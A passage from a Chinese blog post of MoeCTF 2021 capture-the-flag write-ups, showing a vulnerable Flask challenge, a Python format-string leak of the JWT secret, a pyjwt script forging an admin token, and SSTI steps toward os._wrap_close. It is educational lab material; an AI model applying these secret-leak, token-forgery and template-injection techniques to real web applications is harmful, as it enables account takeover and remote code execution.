punctuation">(</span><span class="token string double-quoted-string">"/"</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'GET'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'POST'</span><span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="10"></td><td><pre>def <span class="token function">index</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="11"></td><td><pre>    <span class="token class-name return-type">f</span> <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"app.py"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"r"</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="12"></td><td><pre>    ctx <span class="token operator">=</span> f<span class="token operator">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="13"></td><td><pre>    f<span class="token operator">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="14"></td><td><pre>    res <span class="token operator">=</span> <span class="token function">make_response</span><span class="token punctuation">(</span>ctx<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="15"></td><td><pre>    name <span class="token operator">=</span> request<span class="token operator">.</span>args<span class="token operator">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token string single-quoted-string">''</span></pre></td></tr><tr><td data-num="16"></td><td><pre>    <span class="token keyword">if</span> <span class="token string single-quoted-string">'admin'</span> in name <span class="token keyword">or</span> name <span class="token operator">==</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="17"></td><td><pre>        <span class="token keyword">return</span> res</pre></td></tr><tr><td data-num="18"></td><td><pre>    payload <span class="token operator">=</span> <span class="token punctuation">&#123;</span></pre></td></tr><tr><td data-num="19"></td><td><pre>        <span class="token string double-quoted-string">"name"</span><span class="token punctuation">:</span> name<span class="token punctuation">,</span></pre></td></tr><tr><td data-num="20"></td><td><pre>    <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="21"></td><td><pre>    token <span class="token operator">=</span> jwt<span class="token operator">.</span><span class="token function">encode</span><span class="token punctuation">(</span>payload<span class="token punctuation">,</span> secret<span class="token punctuation">,</span> algorithm<span class="token operator">=</span><span class="token string single-quoted-string">'HS256'</span><span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="22"></td><td><pre>    res<span class="token operator">.</span><span class="token function">set_cookie</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'token'</span><span class="token punctuation">,</span> token<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="23"></td><td><pre>    <span class="token keyword">return</span> res</pre></td></tr><tr><td data-num="24"></td><td><pre></pre></td></tr><tr><td data-num="25"></td><td><pre></pre></td></tr><tr><td data-num="26"></td><td><pre>@app<span class="token operator">.</span><span class="token function">route</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/hello'</span><span class="token punctuation">,</span> methods<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'GET'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'POST'</span><span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="27"></td><td><pre>def <span class="token function">hello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="28"></td><td><pre>    <span class="token class-name return-type">token</span> <span class="token operator">=</span> request<span class="token operator">.</span>cookies<span class="token operator">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'token'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="29"></td><td><pre>    <span class="token keyword">if</span> not token<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="30"></td><td><pre>        <span class="token keyword">return</span> <span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/'</span><span class="token punctuation">,</span> <span class="token number">302</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="31"></td><td><pre>    <span class="token keyword">try</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="32"></td><td><pre>        name <span class="token operator">=</span> jwt<span class="token operator">.</span><span class="token function">decode</span><span class="token punctuation">(</span>token<span class="token punctuation">,</span> secret<span class="token punctuation">,</span> algorithms<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'HS256'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="33"></td><td><pre>    except jwt<span class="token operator">.</span>exceptions<span class="token operator">.</span>InvalidSignatureError <span class="token keyword">as</span> e<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="34"></td><td><pre>        <span class="token keyword">return</span> <span class="token string double-quoted-string">"Invalid token"</span></pre></td></tr><tr><td data-num="35"></td><td><pre>    <span class="token keyword">if</span> name <span class="token operator">!=</span> <span class="token string double-quoted-string">"admin"</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="36"></td><td><pre>        user <span class="token operator">=</span> <span class="token function">User</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="37"></td><td><pre>        flag <span class="token operator">=</span> request<span class="token operator">.</span>args<span class="token operator">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'flag'</span><span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token string single-quoted-string">''</span></pre></td></tr><tr><td data-num="38"></td><td><pre>        message <span class="token operator">=</span> <span class="token string double-quoted-string">"Hello &#123;0&#125;, your flag is"</span> <span class="token operator">+</span> flag</pre></td></tr><tr><td data-num="39"></td><td><pre>        <span class="token keyword">return</span> message<span class="token operator">.</span><span class="token function">format</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="40"></td><td><pre>    <span class="token keyword">else</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="41"></td><td><pre>        <span class="token keyword">return</span> <span class="token function">render_template</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'flag.html'</span><span class="token punctuation">,</span> name<span class="token operator">=</span>name<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="42"></td><td><pre></pre></td></tr><tr><td data-num="43"></td><td><pre></pre></td></tr><tr><td data-num="44"></td><td><pre><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string double-quoted-string">"__main__"</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="45"></td><td><pre>    app<span class="token operator">.</span><span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr></table></figure><p>python 编写网页，主要有两大块，第一个函数会屏蔽传参的 'admin'，并设置 cookie 留给第二个函数使用，第二个函数又只能用 admin 访问 flag.html</p>
<p>所以有两个思路：1. 绕过第一个 admin 而在第二个中显示，发现用 <code>%00</code>  截断可以显示出用户名为 admin，但不能打开 fllag.html</p>
<p>&lt;font color='red'&gt;2. 伪造这个 token&lt;/font&gt;</p>
<p>查询到 python 的 format 函数在网页中有漏洞，参考链接：<span class="exturl" data-url="aHR0cHM6Ly93d3cuc29odS5jb20vYS8yOTYxMjEyNjFfMTIwMDQ1Mzc2">从两道 CTF 实例看 python 格式化字符串漏洞_format (sohu.com)</span></p>
<p>可以创建普通用户通过该漏洞，带出构造 token 的 secret 和 headers，从而构造 admin 的 token</p>
<p><img data-src="https://i.loli.net/2021/09/21/FtwkxlYZVJECBbO.png" alt="" /></p>
<p><img data-src="https://i.loli.net/2021/09/21/ZwS3b2vdgEW7UYe.png" alt="" /></p>
<p>用 <code>0.__class__.__init__.__globals__[]</code>  带出 secret 和 headers</p>
<p><img data-src="https://i.loli.net/2021/09/21/XoKOJLFgbtmxW2y.png" alt="" /></p>
<p>利用 python 的<strong> pyjwt</strong> 库来伪造 admin 的 token：(但使用时是用 import jwt)</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre>payload <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"name"</span><span class="token punctuation">:</span> <span class="token string">'admin'</span><span class="token punctuation">,</span> <span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="2"></td><td><pre>secret <span class="token operator">=</span> <span class="token string">'u_have_kn0w_what_f0rmat_i5'</span></pre></td></tr><tr><td data-num="3"></td><td><pre>headers <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'alg'</span><span class="token punctuation">:</span> <span class="token string">'HS256'</span><span class="token punctuation">,</span> <span class="token string">'typ'</span><span class="token punctuation">:</span> <span class="token string">'JWT'</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="4"></td><td><pre>token <span class="token operator">=</span> jwt<span class="token punctuation">.</span>encode<span class="token punctuation">(</span>payload<span class="token punctuation">,</span> secret<span class="token punctuation">,</span> algorithm<span class="token operator">=</span><span class="token string">'HS256'</span><span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>token<span class="token punctuation">)</span></pre></td></tr></table></figure><p>token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.ONh7uQwunkVjB4_ZwuLNIHBGbciqLAtJxQF81elyqBc</p>
<p>在 hello 页面发送，得到 flag</p>
<p><img data-src="https://i.loli.net/2021/09/21/b4ztBhd7ov1sQjY.png" alt="" /></p>
<h2 id="让-我-访-问"><a class="anchor" href="#让-我-访-问">#</a> <strong>让 我 访 问</strong></h2>
<p>本题知识点：SSTI</p>
<p>SSTI 这篇文章写的很好：<span class="exturl" data-url="aHR0cHM6Ly96aHVhbmxhbi56aGlodS5jb20vcC85Mzc0NjQzNw==">CTF | 有关 SSTI 的一切小秘密【Flask SSTI + 姿势集 + Tplmap 大杀器】</span></p>
<p>在对 post 提交的 username 和 passwd 进行渗透无果后，转到对 register 页面的研究上</p>
<p>&lt;font color='red'&gt; 对于会自动跳转的页面一定要使用 bp 抓包分析 &lt;/font&gt;</p>
<p><img data-src="https://i.loli.net/2021/09/24/iCDM5RZLwSozUkN.png" alt="" /></p>
<p>发现页面跳转是通过 “第三方” 跳转的，更改为 abc，发现 abc 被显示出来，尝试 SSTI 注入</p>
<p><img data-src="https://i.loli.net/2021/09/24/q7cuzknBXM49HNU.png" alt="" /></p>
<p><strong>成功发现注入点！</strong></p>
<p>先获取 object 基本类的子类</p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token operator">&lt;</span><span class="token operator">!</span>--swig￼0--<span class="token operator">></span></pre></td></tr></table></figure><p>找到可以利用的 os 类，通常可以找到 <code>&lt;class'os._wrap_close'&gt;</code></p>
<figure class="highlight bash"><figcaption data-lang="bash"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token operator">&lt;</span><span class="token operator">!</span>--swig￼1--<span class="token operator">></span></pre></td></tr></table></figure><p><img data-src="https://i.loli.net/2021/09/24/GosJh6QWPbeVkRf.png" alt="" /></p>
<h2 id="fake-game"><a class="anchor" href="#fake-game">#</a> <strong>fake game</strong></h2>
<p>知识点是 <code>原型链污染</code></p>
<p><span class="exturl" data-url="aHR0cHM6Ly93d3cubGVhdmVzb25ncy5jb20vUEVORVRSQVRJT04vamF2YXNjcmlwdC1wcm90b3R5cGUtcG9sbHV0aW9uLWF0dGFjay5odG1sJTIy">博客</span></p>
<p>题目思路来源<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL1hEU0VDL21vZUNURl8yMDIw">西电安全协会</span></p>

      <div class="tags">
          <a href="/tags/CTF/" rel="tag"><i class="ic i-tag"></i> CTF</a>
          <a href="/tags/Reverse/" rel="tag"><i class="ic i-tag"></i> Reverse</a>
          <a href="/tags/Misc/" rel="tag"><i class="ic i-tag"></i> Misc</a>
          <a href="/tags/Web/" rel="tag"><i class="ic i-tag"></i> Web</a>
      </div>
  </div>

   <footer>

    <div class="meta">
  <span class="item">
    <span class="icon">
      <i class="ic i-calendar-check"></i>
    </span>
    <span class="text">Edited on</span>
    <time title="Modified: 2021-12-15 16:19:16" itemprop="dateModified" datetime="2021-12-15T16:19:16+08:00">2021-12-15</time>
  </span>
  <span id="moeCTF_2021题解/" class="item leancloud_visitors" data-flag-title="MoeCTF_2021 题解" title="Views">
      <span class="icon">
        <i class="ic i-eye"></i>
      </span>
      <span class="text">Views</span>
      <span class="leancloud-visitors-count"></span>
      <span class="text">times</span>
  </span>
</div>

      
<div class="reward">
  <button><i class="ic i-heartbeat"></i> Donate</button>
  <p>Give me a cup of [coffee]~(￣▽￣)~*</p>
  <div id="qr">
      
      <div>
        <img data-src="/images/wechatpay.png" alt="cheuncey Zhang WeChat Pay">
        <p>WeChat Pay</p>
      </div>
      
      <div>
        <img data-src="/images/alipay.png" alt="cheuncey Zhang Alipay">
        <p>Alipay</p>
      </div>
      
      <div>
        <img data-src="/images/paypal.png" alt="cheuncey Zhang PayPal">
        <p>PayPal</p>
      </div>
  </div>
</div>

      

<div id="copyright">
<ul>
  <li class="author">
    <strong>Post author:  </strong>cheuncey Zhang <i class="ic i-at"><em>@</em></i>Canary's Blog
  </li>
  <li class="link">
    <strong>Post link: </strong>
    <a href="https://zephyr-cyber.github.io.git/moeCTF_2021%E9%A2%98%E8%A7%A3/" title="MoeCTF_2021 题解">https://zephyr-cyber.github.io.git/moeCTF_2021题解/</a>
  </li>
  <li class="license">
    <strong>Copyright Notice:  </strong>All articles in this blog are licensed under <span class="exturl" data-url="aHR0cHM6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL2xpY2Vuc2VzL2J5LW5jLXNhLzQuMC9kZWVkLnpo"><i class="ic i-creative-commons"><em>(CC)</em></i>BY-NC-SA</span> unless stating additionally.
  </li>
</ul>
</div>

  </footer>

</article>

  </div>
  

<div class="post-nav">
    <div class="item left">
      

  <a href="/MiniLCTF_2021%E9%A2%98%E8%A7%A3/" itemprop="url" rel="prev" data-background-image="https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;zephyr-cyber&#x2F;Blog-Gallery@main&#x2F;&#x2F;blog-img&#x2F;51227-projectSEKAI-KiritaniHaruka-PC-Wallpaper.jpg" title="MiniLCTF_2021题解">
  <span class="type">Previous Post</span>
  <span class="category"><i class="ic i-flag"></i> computer-science</span>
  <h3>MiniLCTF_2021题解</h3>
  </a>

    </div>
    <div class="item right">
      

  <a href="/MiniLCTF_2020%E9%A2%98%E8%A7%A3/" itemprop="url" rel="next" data-background-image="https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;zephyr-cyber&#x2F;Blog-Gallery@main&#x2F;&#x2F;blog-img&#x2F;54235-BanG_Dream-HikawaHina-PC-Wallpaper.jpg" title="MiniLCTF_2020题解">
  <span class="type">Next Post</span>
  <span class="category"><i class="ic i-flag"></i> computer-science</span>
  <h3>MiniLCTF_2020题解</h3>
  </a>

    </div>
</div>

  
  <div class="wrap" id="comments"></div>


        </div>
        <div id="sidebar">
          

<div class="inner">

  <div class="panels">
    <div class="inner">
      <div class="contents panel pjax" data-title="Contents">
          <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#crypto"><span class="toc-number">1.</span> <span class="toc-text"> Crypto</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#beginofcrypto"><span class="toc-number">1.1.</span> <span class="toc-text"> beginOfCrypto</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#classical-cryptography"><span class="toc-number">2.</span> <span class="toc-text"> Classical Cryptography</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#misc"><span class="toc-number">3.</span> <span class="toc-text"> Misc</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#find_me"><span class="toc-number">3.1.</span> <span class="toc-text"> find_me</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#macross"><span class="toc-number">3.2.</span> <span class="toc-text"> Macross</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#homework"><span class="toc-number">3.3.</span> <span class="toc-text"> Homework</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#flipflipflip"><span class="toc-number">3.4.</span> <span class="toc-text"> flipflipflip</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link"><span class="toc-number">3.4.1.</span> <span class="toc-text"> </span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#white-album"><span class="toc-number">3.5.</span> <span class="toc-text"> White Album</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#phone-call"><span class="toc-number">3.6.</span> <span class="toc-text"> Phone Call</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A4%BE%E5%B7%A5%E9%A2%98"><span class="toc-number">3.7.</span> <span class="toc-text"> 社工题</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%A5%BD-%E5%BA%B7-%E7%9A%84"><span class="toc-number">3.8.</span> <span class="toc-text"> 好 康 的</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#easyforensics"><span class="toc-number">3.9.</span> <span class="toc-text"> easyForensics</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#r-p-g"><span class="toc-number">3.10.</span> <span class="toc-text"> R P G</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AF%BA%E4%BA%9A%E7%9A%84%E6%97%A5%E8%AE%B0"><span class="toc-number">3.11.</span> <span class="toc-text"> 诺亚的日记</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#web"><span class="toc-number">4.</span> <span class="toc-text"> Web</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#get"><span class="toc-number">4.1.</span> <span class="toc-text"> GET</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#post"><span class="toc-number">4.2.</span> <span class="toc-text"> POST</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#cookie"><span class="toc-number">4.3.</span> <span class="toc-text"> Cookie</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2048"><span class="toc-number">4.4.</span> <span class="toc-text"> 2048</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#web_inc"><span class="toc-number">4.5.</span> <span class="toc-text"> Web_Inc</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ez_include"><span class="toc-number">4.6.</span> <span class="toc-text"> ez_include</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#do-your-know-http"><span class="toc-number">4.7.</span> <span class="toc-text"> Do your know http?</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#baberce"><span class="toc-number">4.8.</span> <span class="toc-text"> babeRCE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ezunserialize"><span class="toc-number">4.9.</span> <span class="toc-text"> ezunserialize</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#-2"><span class="toc-number">4.9.1.</span> <span class="toc-text"> </span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9C%B0%E7%8B%B1%E9%80%9A%E4%BF%A1%E6%94%B9"><span class="toc-number">4.10.</span> <span class="toc-text"> 地狱通信 — 改</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AE%A9-%E6%88%91-%E8%AE%BF-%E9%97%AE"><span class="toc-number">4.11.</span> <span class="toc-text"> 让 我 访 问</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#fake-game"><span class="toc-number">4.12.</span> <span class="toc-text"> fake game</span></a></li></ol></li></ol>
      </div>
      <div class="related panel pjax" data-title="Related">
        <ul>
          <li><a href="/computer-science/Misc/BUGKUmisc/" rel="bookmark" title="bugku-MISC">bugku-MISC</a></li><li><a href="/computer-science/Misc/%E6%AF%94%E8%B5%9Bmisc/" rel="bookmark" title="比赛MISC">比赛MISC</a></li><li><a href="/computer-science/Pwn/pwn/" rel="bookmark" title="pwn学习(1)">pwn学习(1)</a></li><li><a href="/computer-science/Pwn/pwn2/" rel="bookmark" title="pwn学习(2)">pwn学习(2)</a></li><li><a href="/computer-science/Reverse/reverse/" rel="bookmark" title="学习Reverse">学习Reverse</a></li><li><a href="/computer-science/Web/Web/" rel="bookmark" title="web学习">web学习</a></li><li><a href="/computer-science/Crypto/Crypto/" rel="bookmark" title="Crypto">Crypto</a></li><li><a href="/computer-science/Pwn/pwn3/" rel="bookmark" title="pwn3">pwn3</a></li><li><a href="/computer-science/Pwn/pwn4/" rel="bookmark" title="pwn4-stack pivoting">pwn4-stack pivoting</a></li><li><a href="/computer-science/Reverse/reverse2/" rel="bookmark" title="学习Reverse2">学习Reverse2</a></li><li><a href="/MiniLCTF_2021%E9%A2%98%E8%A7%A3/" rel="bookmark" title="MiniLCTF_2021题解">MiniLCTF_2021题解</a></li><li class="active"><a href="/moeCTF_2021%E9%A2%98%E8%A7%A3/" rel="bookmark" title="MoeCTF_2021题解">MoeCTF_2021题解</a></li><li><a href="/MiniLCTF_2020%E9%A2%98%E8%A7%A3/" rel="bookmark" title="MiniLCTF_2020题解">MiniLCTF_2020题解</a></li><li><a href="/AWD/" rel="bookmark" title="AWD脚本和加固命令">AWD脚本和加固命令</a></li>
        </ul>
      </div>
      <div class="overview panel" data-title="Overview">
        <div class="author" itemprop="author" itemscope itemtype="http://schema.org/Person">
  <img class="image" itemprop="image" alt="cheuncey Zhang"
      data-src="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/16f8bec9f7fbb60bf0c3a1d2fa12affd.jpeg">
  <p class="name" itemprop="name">cheuncey Zhang</p>
  <div class="description" itemprop="description">刻意练习</div>
</div>

<nav class="state">
    <div class="item posts">
      <a href="/archives/">
        <span class="count">49</span>
        <span class="name">posts</span>
      </a>
    </div>
    <div class="item categories">
      <a href="/categories/">
        <span class="count">20</span>
        <span class="name">categories</span>
      </a>
    </div>
    <div class="item tags">
      <a href="/tags/">
        <span class="count">16</span>
        <span class="name">tags</span>
      </a>
    </div>
</nav>

<div class="social">
      <span class="exturl item github" data-url="aHR0cHM6Ly96ZXBoeXItY3liZXIuZ2l0aHViLmlv" title="https:&#x2F;&#x2F;zephyr-cyber.github.io"><i class="ic i-github"></i></span>
      <span class="exturl item twitter" data-url="aHR0cHM6Ly90d2l0dGVyLmNvbS8=" title="https:&#x2F;&#x2F;twitter.com&#x2F;"><i class="ic i-twitter"></i></span>
      <span class="exturl item zhihu" data-url="aHR0cHM6Ly93d3cuemhpaHUuY29tL3Blb3BsZS8=" title="https:&#x2F;&#x2F;www.zhihu.com&#x2F;people&#x2F;"><i class="ic i-zhihu"></i></span>
      <span class="exturl item music" data-url="aHR0cHM6Ly9tdXNpYy4xNjMuY29tLyMvbXkvbS9tdXNpYy9wbGF5bGlzdD9pZD0yMjI2MDQ2MDI3" title="https:&#x2F;&#x2F;music.163.com&#x2F;#&#x2F;my&#x2F;m&#x2F;music&#x2F;playlist?id&#x3D;2226046027"><i class="ic i-cloud-music"></i></span>
      <span class="exturl item weibo" data-url="aHR0cHM6Ly93ZWliby5jb20v" title="https:&#x2F;&#x2F;weibo.com&#x2F;"><i class="ic i-weibo"></i></span>
      <span class="exturl item about" data-url="aHR0cHM6Ly9hYm91dC5tZS8=" title="https:&#x2F;&#x2F;about.me&#x2F;"><i class="ic i-address-card"></i></span>
      <span class="exturl item email" data-url="bWFpbHRvOjEzMjc4MzcwMzFAcXEuY29tLmNvbQ==" title="mailto:1327837031@qq.com.com"><i class="ic i-envelope"></i></span>
      <span class="exturl item facebook" data-url="aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tLw==" title="https:&#x2F;&#x2F;www.facebook.com&#x2F;"><i class="ic i-facebook"></i></span>
      <span class="exturl item stackoverflow" data-url="aHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS8=" title="https:&#x2F;&#x2F;stackoverflow.com&#x2F;"><i class="ic i-stack-overflow "#1e88e5""></i></span>
      <span class="exturl item youtube" data-url="aHR0cHM6Ly95b3V0dWJlLmNvbS8=" title="https:&#x2F;&#x2F;youtube.com&#x2F;"><i class="ic i-youtube  "#e60026""></i></span>
      <span class="exturl item instagram" data-url="aHR0cHM6Ly9pbnN0YWdyYW0uY29tLw==" title="https:&#x2F;&#x2F;instagram.com&#x2F;"><i class="ic i-instagram "#1e88e5""></i></span>
      <span class="exturl item skype" data-url="c2t5cGU6MTIzP2NhbGx8Y2hhdA==" title="skype:123?call|chat"><i class="ic i-skype "#1e88e5""></i></span>
      <span class="exturl item douban" data-url="aHR0cHM6Ly93d3cuZG91YmFuLmNvbS9wZW9wbGUv" title="https:&#x2F;&#x2F;www.douban.com&#x2F;people&#x2F;"><i class="ic i-douban "#191717""></i></span>
</div>

<ul class="menu">
  
    
  <li class="item">
    <a href="/" rel="section"><i class="ic i-home"></i>Home</a>
  </li>

    
  <li class="item">
    <a href="/about/" rel="section"><i class="ic i-user"></i>About</a>
  </li>

        
  <li class="item dropdown">
      <a href="javascript:void(0);"><i class="ic i-feather"></i>Posts</a>
    <ul class="submenu">

        
  <li class="item">
    <a href="/archives/" rel="section"><i class="ic i-list-alt"></i>Archives</a>
  </li>

        
  <li class="item">
    <a href="/categories/" rel="section"><i class="ic i-th"></i>Categories</a>
  </li>

        
  <li class="item">
    <a href="/tags/" rel="section"><i class="ic i-tags"></i>Tags</a>
  </li>

  </ul>
    
  <li class="item">
    <a href="/friends/" rel="section"><i class="ic i-heart"></i>Friends</a>
  </li>

    
  <li class="item">
    <a href="/films/" rel="section"><i class="ic i-heart"></i>films</a>
  </li>

    
  <li class="item">
    <a href="/fun-links/" rel="section"><i class="ic i-android"></i>fun-links</a>
  </li>


</ul>

      </div>
    </div>
  </div>

  <ul id="quick">
    <li class="prev pjax">
        <a href="/MiniLCTF_2021%E9%A2%98%E8%A7%A3/" rel="prev" title="Previous Post"><i class="ic i-chevron-left"></i></a>
    </li>
    <li class="up"><i class="ic i-arrow-up"></i></li>
    <li class="down"><i class="ic i-arrow-down"></i></li>
    <li class="next pjax">
        <a href="/MiniLCTF_2020%E9%A2%98%E8%A7%A3/" rel="next" title="Next Post"><i class="ic i-chevron-right"></i></a>
    </li>
    <li class="percent"></li>
  </ul>
</div>


        </div>
        <div class="dimmer"></div>
      </div>
    </main>
    <footer id="footer">
      <div class="inner">
        <div class="widgets">
          
<div class="rpost pjax">
  <h2>Random Posts</h2>
  <ul>
      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/web/" title="比赛Web题">比赛Web题</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><span class="exturl" data-url="aHR0cDovL3d3dy5nb29nbGUuY29tLw==" title="Link Post">Link Post<i class="ic i-link-alt"></i></span></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/pwn2/" title="pwn学习(2)">pwn学习(2)</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/long-title/" title="Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam justo turpis, tincidunt ac convallis id.">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam justo turpis, tincidunt ac convallis id.</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
</div>

    <span><a href="/BUGKUmisc/" title="bugku-MISC">bugku-MISC</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/computer-science/" title="In computer-science">computer-science</a>
<i class="ic i-angle-right"></i>
<a href="/categories/computer-science/Crypto/" title="In Crypto">Crypto</a>
</div>

    <span><a href="/computer-science/Crypto/Crypto/" title="Crypto">Crypto</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/" title="In 计算机科学">计算机科学</a>
<i class="ic i-angle-right"></i>
<a href="/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%9D%82%E8%B0%88/" title="In 二进制杂谈">二进制杂谈</a>
<i class="ic i-angle-right"></i>
<a href="/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%9D%82%E8%B0%88/Theme-Shoka-Documentation/" title="In Theme Shoka Documentation">Theme Shoka Documentation</a>
</div>

    <span><a href="/computer-science/note/theme-shoka-doc/config/" title="Step.2 基本配置">Step.2 基本配置</a></span>
  </li>

      
  <li class="item">
    
<div class="breadcrumb">
<a href="/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/" title="In 计算机科学">计算机科学</a>
<i class="ic i-angle-right"></i>
<a href="/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%9D%82%E8%B0%88/" title="In 二进制杂谈">二进制杂谈</a>
<i class="ic i-angle-right"></i>
<a href="/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%9D%82%E8%B0%88/Theme-Shoka-Documentation/" title="In Theme Shoka Documentation">Theme Shoka Documentation</a>
</div>

